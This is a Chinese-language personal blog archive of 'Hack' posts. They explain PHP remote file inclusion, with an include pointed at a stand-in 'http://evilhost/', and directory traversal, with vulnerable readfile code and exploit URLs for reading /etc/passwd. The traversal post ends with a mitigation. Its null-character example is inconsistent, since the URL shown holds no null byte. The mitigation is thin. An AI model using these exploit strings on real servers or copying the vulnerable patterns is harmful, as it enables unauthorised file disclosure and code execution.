EragonJ's World

About me

Archive for the ‘Hack’ Category

[Hack] How to crack wireless? – With Aircrack

without comments

老師說寫作文要破題,直接看影片比較快XD,

下次一定要自己來試試看整個流程看看能不能成功!!

Written by admin

February 2nd, 2010 at 1:28 am

Posted in Hack

Tagged with , ,

[Hack] Remote File Inclusion

without comments

之前意外的發現一個web可以透過RFI的方式進入,但是我一直try都沒有辦法讓他include正確的外部phpinfo.php,結果在今天意外的看到一篇文章才了解到問題所在:


<?php
include($dir."/ attack.php");
?>

上例中“$dir”一般是一個在執行代碼前已經設定好的路徑,如果攻擊者能夠使得“$dir”沒有被設定的話,那麼他就可以改變這個路徑。但是攻擊者並不能做任何事情,因為他們只能在他們指定的路徑中訪問檔案“attack.php”。但是由於有了對遠程檔案的支援,攻擊者就可以做任何事情。例如,攻擊者可以在某台伺服器上放一個檔案“attack.php”,裡麵包含了惡意代碼,然後把“$dir”設定為“http://evilhost/”,這樣我們就可以在目標主機上執行上面的惡意代碼,將結果返回到客戶的瀏覽器中。

需要注意的是,攻擊伺服器(也就是evilhost)應該不能執行PHP代碼,否則攻擊代碼會在攻擊伺服器,而不是目標伺服器執行。

…取自Phate

所以可以了解的是,因為我之前是直接include到我的機器上,所以該phpinfo.php顯示的是我自己機器的資料,這樣是我無法接受的。於是改上傳到一個沒有能夠解析.php的空間上,用RFI直接include就可以了。

前提: 該server的php.ini要有開啟allow_url_fopen or allow_url_include,這樣RFI才會成功,要注意一下。

Written by admin

April 11th, 2009 at 12:03 pm

Posted in Hack

Tagged with , ,

[Hack] Directory Traversal

with one comment

來講一下Directory Traversal , 會想講的原因是因為有意外看到相關的資訊是藉由 DT 而跑出來的..

Live Demo(index.php):

<?php
//初始化參數
if(!$path)
{
$path="test";
$xpath ="";
}

define("PATHFIELD",0);
define("FILEFIELD",1);
define("EXTFIELD",2);

$class="xxxxxx"; //類別,在每個目錄的class.conf.php中有紀錄,若無則保持空白
$filecount=0; //Count file(not directory) num
$dircount=0; //Count dir num

$dir=@opendir($path);

//讀取目錄資料並至於陣列當中
while($file=@readdir($dir))
{
if(is_dir("$path/$file"))
{
if($file=="."||$file=="..")
continue;
$examdir[$dircount++]="$file";
}
else if(is_file("$path/$file"))
{
if($file=="class.conf.php")
require("$path/$file"); //取得目錄提示資料
$exten=substr($file,-3,3); //Get file extention
if(!strcasecmp($exten,"pdf")||!strcasecmp($exten,"gif")||!strcasecmp($exten,"zip"))
{
$examfile["$filecount"][PATHFIELD]="$path/$file";
$examfile["$filecount"][FILEFIELD]="$file";
$examfile["$filecount"][EXTFIELD]="$exten";
$filecount++;
}
}
}

討論:

從最前面就可以看到 , Programmer 在設計這個頁面的時候 , 並沒有考慮到 DT 的問題 , 所以就沒有對一些具有攻擊性的字做filter or 白名單過濾 , 所以當 $path 來個 “../” 就掰囉~從父目錄一直到根目錄都一覽無遺…

Demo PHP Code 1(index.php):

<?php
readfile('/home/xx/file/'.$_GET['file']);
?>

Exploit:

http://target/index.php?file=../../etc/passwd

討論:

結果Unix Like的passwd的檔案就會被顯示出來 = =”…

Demo PHP Code 2(index.php):

<?php
readfile('/home/xx/file/'.$_GET['file'].'.dat');
?>

Exploit:

http://target/index.php?file=../../etc/passwd

討論:

利用 NULL character 來把後面的.dat給無用化 , 這樣就可以讀到passwd的內容了..

防範:

利用basename()把後面的東西做filter , 像是在$path那邊可以改成這樣 ,

$path = str_replace('.','',$path);
$true_path = "/www/".basename($path);

則所有的’.'都會被換成’ ‘,這樣就可以再依個人需求做變化 , 大致上應該是不會有太多問題了

Written by admin

March 15th, 2009 at 3:25 pm

Posted in Hack

Tagged with ,